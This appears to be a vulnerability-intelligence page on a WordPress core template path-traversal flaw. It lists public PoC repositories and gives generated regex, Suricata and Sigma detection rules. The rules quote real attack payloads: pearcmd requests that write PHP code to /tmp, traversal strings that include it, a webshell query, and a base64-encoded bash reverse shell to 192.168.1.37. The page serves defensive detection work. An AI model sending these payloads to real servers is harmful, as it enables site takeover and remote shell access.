WordPress
WordPress Core Remote File Inclusion Vulnerability
An unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the active theme directories. If relevant pre-conditions for both the server and the active theme are met, this can lead to RCE.
Affected versions and mitigation
From the CVE record and the vendor's references.Affected
- < 7.1.2
Fixed in 7.1.2
Mitigation
Upgrade WordPress to 7.1.2 or later.
Workaround
WordPress 7.1.2 has been released containing a fix for the vulnerability, and as a courtesy to users on older branches the fix has been backported to all branches back to 4.7.
References
- Vendor advisory github.com/WordPress/wordpress-develop/securit…
Timeline
Days relative to CVE publicationFirst public PoC 1 h after publication; added to CISA KEV 3 days after publication. First PoC: abraxas/CVE-2026-87902 (created 22 Sep 2026, found by us: backfilled).
PoC repositories
Found on GitHub.22 PoCs · 1 pending · 4 informational
PoCs 22
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| rwxrwxs/Alfa-Shell-Bypass | 7 Oct 2025 −350 d | 0 | PoC older repo: PoC date unknown, not used for the first PoC |
| abraxas/CVE-2026-87902 | 22 Sep 2026 +1 h | 36 | PoC |
| vulpecuna/CVE-2026-87902 | 22 Sep 2026 +2 h | 9 | PoC |
| ressl/cve-2026-87902-poc | 22 Sep 2026 +2 h | 46 | PoC |
| pwnVader/CVE-2026-87902-PoC-pwnVader | 22 Sep 2026 +6 h | 0 | PoC |
| dinosn/cve-2026-87902-wordpress-lfi-lab | 23 Sep 2026 +13 h | 13 | PoC
Flags · score 35
Below the suspicion threshold (50); does not change the assessment. |
| zer0dayf/CVE-2026-87902 | 23 Sep 2026 +18 h | 0 | PoC |
| Hassham1/CVE-2026-87902 | 23 Sep 2026 +19 h | 2 | PoC |
| bhideki/CVE-2026-87902 | 23 Sep 2026 +1.1 d | 2 | PoC |
| oliveiralimajr/CVE_2026_87902 | 23 Sep 2026 +1.1 d | 6 | PoC |
| tc4dy/CVE-2026-87902-Toolkit | 23 Sep 2026 +1.1 d | 15 | PoC |
| nextco/wordpress-cve-2026-87902 | 24 Sep 2026 +1.5 d | 0 | PoC |
| zyphorixofficialmain-lab/cve-2026-87902 | 24 Sep 2026 +1.9 d | 0 | PoC |
| crowsec-edtech/CVE-2026-87902 | 25 Sep 2026 +2.3 d | 3 | PoC |
| khellwan/CVE-2026-87902_PoC | 25 Sep 2026 +2.3 d | 3 | PoC |
| joaovicdev/EXPLOIT-CVE-2026-87902 | 25 Sep 2026 +2.3 d | 0 | PoC |
| rwxrwxs/CVE-2026-87902 | 26 Sep 2026 +3.9 d | 0 | PoC
Flags · score 30
Below the suspicion threshold (50); does not change the assessment. |
| langz337/CVE-2026-87902 | 27 Sep 2026 +4.8 d | 1 | PoC |
| abatsakidis/wp-cve-2026-87902-checker | 27 Sep 2026 +5.1 d | 1 | Scanner |
| Maalfer/CVE-2026-87902-exploit | 27 Sep 2026 +5.1 d | 2 | PoC |
| tonydelouvre/CVE-2026-87902 | 29 Sep 2026 +7.1 d | 5 | PoC |
| xiaxiu555/cve-2026-87902 | 7 Oct 2026 +15 d | 1 | PoC |
Pending 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| SVTagan/WP-CVE-2026-87902 | 25 Sep 2026 +3.1 d | 0 | Pending
Flags · score 15
Below the suspicion threshold (50); does not change the assessment. |
Informational 4
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| rabakuku/CVE-2026-87902-A-working-PoC-for-WordPress-s-critical-path-traversal | 23 Sep 2026 +10 h | 0 | Informational · detection |
| ynsmroztas/WPSniper | 23 Sep 2026 +20 h | 3 | Informational · detection |
| itskill-jp/wordpress-upgrade-check | 26 Sep 2026 +3.6 d | 0 | Informational · detection
Flags · score 30
Below the suspicion threshold (50); does not change the assessment. |
| HackfutSecRoot/CVE-2026-87902 | 28 Sep 2026 +6 d | 3 | Informational · write-up |
Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.
Other public exploits
Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.| Source | Title | Published | Found by us |
|---|---|---|---|
| Exploit-DB | WordPress 7.0.2 - Path Travesal | 1 Oct 2026 | 14 Nov 2026 |
| nuclei template | nuclei template: WordPress Core - PHP Template Path Traversal | 23 Sep 2026 | 14 Nov 2026 |
| PoC Index | https://github.com/Hassham1/CVE-2026-87902/blob/854c1255d4da0fa59551a8a3194c65fc81e4dbe6/poc/poc_cve_2026_87902.py | unknown | 14 Nov 2026 |
| PoC Index | https://github.com/dinosn/cve-2026-87902-wordpress-lfi-lab/blob/937ab539fee77c85bb8ea2ba6a3d5a01bc353f98/poc/cve-2026-87902-scan.py | unknown | 14 Nov 2026 |
PoC characteristics
What to hunt for in your logs · from 22 PoC reposPOST /
- Query
{var}=config-create /{var} {var}.php=page_id=2)page_id=2pagename=pagename=templates/../../../../wp-links-opml)config-create /<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?> /tmp/wp-pear-rce-flag.phpconfig-create+/{var}+{var}.php=- Body markers
page_id=2pagename=templates%252E%252E%252F%252E%252E%252F...%252Findexpagename=pagename=templates%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fusr%2flocal%2flib%2fphp%2fpearcmdpagename=templates%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2ftmp%2fwp-pear-rce-flagpage_id=inapplication/x-www-form-urlencoded- Ports
- 8080, 8091, 8092, 8888, 9471
- PoC User-Agent
Mozilla/5.0 (compatible; cve-2026-87902-validate)- Seen in
- 8 repos: Hassham1/CVE-2026-87902, Maalfer/CVE-2026-87902-exploit, bhideki/CVE-2026-87902, dinosn/cve-2026-87902-wordpress-lfi-lab, joaovicdev/EXPLOIT-CVE-2026-87902, ressl/cve-2026-87902-poc, tonydelouvre/CVE-2026-87902, vulpecuna/CVE-2026-87902
- Evidence
- Hassham1/CVE-2026-87902/nuclei/cve-2026-87902.yaml:53 Maalfer/CVE-2026-87902-exploit/exploit.py:514 Maalfer/CVE-2026-87902-exploit/exploit.py:532 Maalfer/CVE-2026-87902-exploit/exploit.py:628 bhideki/CVE-2026-87902/README.md:25 dinosn/cve-2026-87902-wordpress-lfi-lab/evidence/manual-validate.sh:33
GET /
- Query
page_id=pagename=c=idfeed=rss2page_id=2pagename=templates%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2Fusr%2Flocal%2Flib%2Fphp%2Fpearcmdconfig-create /=<?=`{var}[_]`?> /tmp/pwn.phppagename=templates%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2Ftmp%2Fpwn_=id_=echo L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjM3LzQ0MyAwPiYxJyAg- Key headers
Accept: text/html,application/xhtml+xml- Ports
- 8080, 8091, 8092, 9471, 18092
- PoC User-Agent
Mozilla/5.0 (compatible; CVE-2026-87902-Scanner/1.0)Mozilla/5.0 (compatible; cve-2026-87902-validate)ikzero-research/1.0 (CVE-2026-87902 safe PoC; LFI oracle only)- Seen in
- 5 repos: Hassham1/CVE-2026-87902, dinosn/cve-2026-87902-wordpress-lfi-lab, nextco/wordpress-cve-2026-87902, oliveiralimajr/CVE_2026_87902, zer0dayf/CVE-2026-87902
- Evidence
- Hassham1/CVE-2026-87902/lab:27 Hassham1/CVE-2026-87902/poc/poc_cve_2026_87902.py:109 Hassham1/CVE-2026-87902/poc/poc_cve_2026_87902.py:416 Hassham1/CVE-2026-87902/poc/triage_cve_2026_87902.py:62 dinosn/cve-2026-87902-wordpress-lfi-lab/evidence/manual-validate.sh:27 dinosn/cve-2026-87902-wordpress-lfi-lab/evidence/manual-validate.sh:47
GET /wp-content/themes/{var}/{var}/
- Seen in
- 2 repos: abatsakidis/wp-cve-2026-87902-checker, rwxrwxs/Alfa-Shell-Bypass
- Evidence
- abatsakidis/wp-cve-2026-87902-checker/wp-cve-2026-87902-remote.py:233 rwxrwxs/Alfa-Shell-Bypass/poc.py:303 rwxrwxs/Alfa-Shell-Bypass/poc.py:351 rwxrwxs/Alfa-Shell-Bypass/poc.py:394 rwxrwxs/Alfa-Shell-Bypass/poc.py:432 rwxrwxs/Alfa-Shell-Bypass/poc.py:556
GET /v1/hackers/programs/{var}
- Key headers
Accept: application/jsonAuthorization: Basic {var}- Ports
- 9471
- Seen in
- 1 repo: Hassham1/CVE-2026-87902
- Evidence
- Hassham1/CVE-2026-87902/poc/bounty_screen.py:83
GET /wp-content/mr666_a3f8c192.php
- Query
x=id- Seen in
- 1 repo: rwxrwxs/CVE-2026-87902
- Evidence
- rwxrwxs/CVE-2026-87902/README.md:102
GET /wp-content/themes/
- Seen in
- 1 repo: rwxrwxs/Alfa-Shell-Bypass
- Evidence
- rwxrwxs/Alfa-Shell-Bypass/poc.py:373
GET /wp-content/themes/{var}/{var}/+config-show
- Seen in
- 1 repo: rwxrwxs/Alfa-Shell-Bypass
- Evidence
- rwxrwxs/Alfa-Shell-Bypass/poc.py:644
GET /wp-json/wp/v2/pages
- Query
per_page=status=publish_fields=id,link,status,slug- Seen in
- 1 repo: zer0dayf/CVE-2026-87902
- Evidence
- zer0dayf/CVE-2026-87902/wp_87902.py:108
HEAD /wp-content/themes/{var}/{var}/
- Seen in
- 1 repo: rwxrwxs/Alfa-Shell-Bypass
- Evidence
- rwxrwxs/Alfa-Shell-Bypass/poc.py:523
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^/\?(?:.*&)?\{var\}=.*config-create /\{var\} \{var\}\.php=.*page_id=2\).*page_id=2.*pagename=.*pagename=templates/\.\./\.\./\.\./\.\./wp-links-opml\).*config-create /<\?=file_get_contents\(chr\(47\)\.chr\(102\)\.chr\(108\)\.chr\(97\)\.chr\(103\)\)\?> /tmp/wp-pear-rce-flag\.php.*config-create\+/\{var\}\+\{var\}\.php=
(?i)^/\?(?:.*&)?page_id=.*pagename=.*c=id.*feed=rss2.*page_id=2.*pagename=templates%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2Fusr%2Flocal%2Flib%2Fphp%2Fpearcmd.*config-create /=.*<\?=`\{var\}\[_\]`\?> /tmp/pwn\.php.*pagename=templates%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2Ftmp%2Fpwn.*_=id.*_=echo L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjM3LzQ0MyAwPiYxJyAg
(?i)^/wp-content/themes/[^/?#]*/[^/?#]*/(?:[?#].*)?$
(?i)^/v1/hackers/programs/[^/?#]*(?:[?#].*)?$
(?i)^/wp-content/mr666_a3f8c192\.php\?(?:.*&)?x=id
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET [8080,8091,8092,8888,9471] (msg:"GG PoC-Monitor CVE-2026-87902 WordPress WordPress exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"{var}="; http.uri; content:"config-create /{var} {var}.php="; http.uri; content:"page_id=2)"; http.uri; content:"page_id=2"; http.uri; content:"pagename="; http.uri; content:"pagename=templates/../../../../wp-links-opml)"; http.uri; content:"config-create /<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?> /tmp/wp-pear-rce-flag.php"; http.uri; content:"config-create+/{var}+{var}.php="; http.request_body; content:"page_id=2"; http.request_body; content:"pagename=templates%252E%252E%252F%252E%252E%252F...%252Findex"; http.request_body; content:"pagename="; http.request_body; content:"pagename=templates%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fusr%2flocal%2flib%2fphp%2fpearcmd"; http.request_body; content:"pagename=templates%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2ftmp%2fwp-pear-rce-flag"; http.request_body; content:"page_id="; reference:url,poc.griffinguard.io/cve/CVE-2026-87902; classtype:web-application-attack; sid:9336686; rev:1;)
alert http any any -> $HOME_NET [8080,8091,8092,9471,18092] (msg:"GG PoC-Monitor CVE-2026-87902 WordPress WordPress exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"page_id="; http.uri; content:"pagename="; http.uri; content:"c=id"; http.uri; content:"feed=rss2"; http.uri; content:"page_id=2"; http.uri; content:"pagename=templates%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2Fusr%2Flocal%2Flib%2Fphp%2Fpearcmd"; http.uri; content:"config-create /="; http.uri; content:"<?=`{var}[_]`?> /tmp/pwn.php"; http.uri; content:"pagename=templates%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2Ftmp%2Fpwn"; http.uri; content:"_=id"; http.uri; content:"_=echo L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjM3LzQ0MyAwPiYxJyAg"; http.header; content:"Accept: text/html,application/xhtml+xml"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2026-87902; classtype:web-application-attack; sid:9318110; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2026-87902 WordPress WordPress exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/wp-content/themes/"; reference:url,poc.griffinguard.io/cve/CVE-2026-87902; classtype:web-application-attack; sid:9498425; rev:1;)
alert http any any -> $HOME_NET [9471] (msg:"GG PoC-Monitor CVE-2026-87902 WordPress WordPress exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/v1/hackers/programs/"; http.header; content:"Accept: application/json"; nocase; http.header; content:"Authorization: Basic "; nocase; reference:url,poc.griffinguard.io/cve/CVE-2026-87902; classtype:web-application-attack; sid:9855811; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2026-87902 WordPress WordPress exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/wp-content/mr666_a3f8c192.php"; http.uri; content:"x=id"; reference:url,poc.griffinguard.io/cve/CVE-2026-87902; classtype:web-application-attack; sid:9888349; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: WordPress WordPress exploit attempt (CVE-2026-87902)
id: gg-pocmon-cve-2026-87902-9336686
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-87902. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-87902
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-query|contains|all:
- '{var}='
- 'config-create /{var} {var}.php='
- 'page_id=2)'
- 'page_id=2'
- 'pagename='
- 'pagename=templates/../../../../wp-links-opml)'
- 'config-create /<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?> /tmp/wp-pear-rce-flag.php'
- 'config-create+/{var}+{var}.php='
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2026.87902
title: WordPress WordPress exploit attempt (CVE-2026-87902)
id: gg-pocmon-cve-2026-87902-9318110
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-87902. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-87902
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-query|contains|all:
- 'page_id='
- 'pagename='
- 'c=id'
- 'feed=rss2'
- 'page_id=2'
- 'pagename=templates%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2Fusr%2Flocal%2Flib%2Fphp%2Fpearcmd'
- 'config-create /='
- '<?=`{var}[_]`?> /tmp/pwn.php'
- 'pagename=templates%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2Ftmp%2Fpwn'
- '_=id'
- '_=echo L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjM3LzQ0MyAwPiYxJyAg'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2026.87902
title: WordPress WordPress exploit attempt (CVE-2026-87902)
id: gg-pocmon-cve-2026-87902-9498425
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-87902. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-87902
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/wp-content/themes/'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2026.87902
title: WordPress WordPress exploit attempt (CVE-2026-87902)
id: gg-pocmon-cve-2026-87902-9855811
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-87902. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-87902
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/v1/hackers/programs/'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2026.87902
title: WordPress WordPress exploit attempt (CVE-2026-87902)
id: gg-pocmon-cve-2026-87902-9888349
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-87902. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-87902
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/wp-content/mr666_a3f8c192.php'
cs-uri-query|contains|all:
- 'x=id'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2026.87902